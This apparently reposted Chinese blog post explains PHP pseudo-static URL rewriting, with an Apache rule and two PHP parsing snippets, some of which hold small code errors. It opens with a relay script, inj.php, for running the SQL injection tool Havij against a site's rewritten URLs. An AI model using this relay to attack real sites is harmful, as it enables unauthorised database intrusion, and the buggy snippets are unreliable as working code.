PHP 伪静态技术原理以及突破原理实现介绍

最新推荐文章于 2021-07-21 22:43:47 发布

转载最新推荐文章于 2021-07-21 22:43:47 发布 · 573 阅读

PHP 专栏收录该内容

26 篇文章

订阅专栏

本文介绍如何通过构造中间注入页面来突破伪静态技术，并提供三种PHP伪静态实现方法，包括利用Apache服务器功能、编码实现等。

伪静态技术比较好突破，需要自己构造中转注入页面；伪静态技术原理都很简单，就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式

先说实现方法：
inj.php:

<?php
set_time_limit(10);
$id = $_GET["id"];
$id = str_replace(" ", "%20", $id);
$id = str_replace("=", "%3D", $id);
$url = "http://www.xxx.com/index.php/library/more/id/$id.html";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //启用时将curl_init()获取的信息以文件流的形式返回，而不是直接输出
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

用wamp搭建一个服务器，把上面inj.php放到wamp/www/中，然后在Havij中跑 http://127.0.0.1/inj.php?id=1

PHP伪静态实现方法一（利用Apache 服务器的功能）
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则：
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说：www.xx.com/page-18.html
真实的URL如下：
action = page
id = 18

PHP伪静态实现方法二（编码实现）
$Php2Html_FileUrl = $_SERVER[“REQUEST_URI”]
echo $Php2Html_FileUrl
例子：// localhost/php100/test.php?id|1@action|2

代码如下:

$Php2Html_UrlString = str_replace("?", "", str_replace("/", "", strrchr(strrchr($Php2Html_FileUrl, "/"), "?"))))
/*
内层的strrchr出来：/test.php?id|1@action|2
外层的strrchr出来：id|1@action|2
内层的str_replace出来：把 / 号去掉，本例子 没有
外层的str_replace出来：把 ？号去掉，本例子 没有
*/
$Php2Html_UrlQueryStrList = explode("@", $Php2Html_UrlString);
/*把str变成以@为界限划分的数组：id|1 和 action|2*/
foreach ($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) {
	$Php2Html_TmpArray = explode("|", $Php2Html_UrlQueryStr);
	/* id => 1 和 action => 2*/
	$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
}

PHP伪静态实现方法三（编码实现）
例子: localhost/php100/test.php/1/2

代码如下：

$filename = basename($_SERVER["SCRIPT_NAME"]);
echo $_SERVER["SCRIPT_NAME"];
echo $filename;
if (strtolower($filename) == 'test.php') {
	if (!empty($_GET[id])) {
		$id = intval($_GET[id]);
		echo $id;
		$action = intval($_GET[action]);
		echo $action;
	} else {
		$nav = $_SERVER["REQUEST_URI"];
		$script = $_SERVER["SRCIPT_NAME"];
		//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。
		$nav = ereg_replace("$script", "", urldecode($nav));
		echo $nav;
		$vars = explode("/", $nav);
		print_r($vars);
		$id = intval($vars[1]);
		$action = intval($vars[2]);
	}
	echo $id . '&' . $action;
}

总结下：
（1）伪静态技术比较好突破，需要自己构造中转注入页面。
（2）伪静态技术原理都很简单，就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。

原文地址：http://www.xz-src.com/1951.html